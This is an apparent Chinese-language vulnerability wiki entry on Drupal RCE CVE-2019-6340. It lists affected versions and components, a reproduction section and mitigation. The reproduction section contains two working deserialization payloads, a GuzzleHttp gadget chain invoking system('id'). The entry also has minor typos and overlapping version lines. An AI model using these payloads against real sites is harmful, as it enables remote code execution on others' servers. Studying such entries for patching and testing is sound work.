2.18.1 CVE-2019-6340l

漏洞名称

Drupal 远程代码执行漏洞(CVE-2019-6340l)

漏洞等级

高危

漏洞描述

漏洞是由Drupal 未对 RESTful Web 的数据进行严格效验造成。如果网站开启了RESTful Web服务,并且接受PATCH 、 POST请求,或站点中开启了其他web服务模块,将会出现反序列化问题,进而造成代码执行。 漏洞利用需要多个前置条件,大大削弱了漏洞实际影响。

漏洞影响

  • Drupal 8.6.9 及以下版本

  • Drupal 8.6.10 及以下版本

影响组件

  • RESTful Web Services

  • JSON:API

  • Link

  • Metatag

  • Video

  • Paragraphs

  • Translation Management Tool

  • Font Awesome lcons

漏洞复现

我们使用精益助手进行发包,当然是用burp也是一样

回显中得到执行后的结果

GET型payload如下


{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://localhost:8080/rest/type/shortcut/default"
    }
  }
}'

POST型如下:


{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://localhost:8080/rest/type/shortcut/default"
    }
  }
}'

漏洞修复

对于该漏洞,可以禁用所有Web服务模块,或禁止处理PUT / PATCH / POST请求进行缓解。 因为影响核心组件,强烈建议广大用户按需进行版本升级,更新地址:

Last updated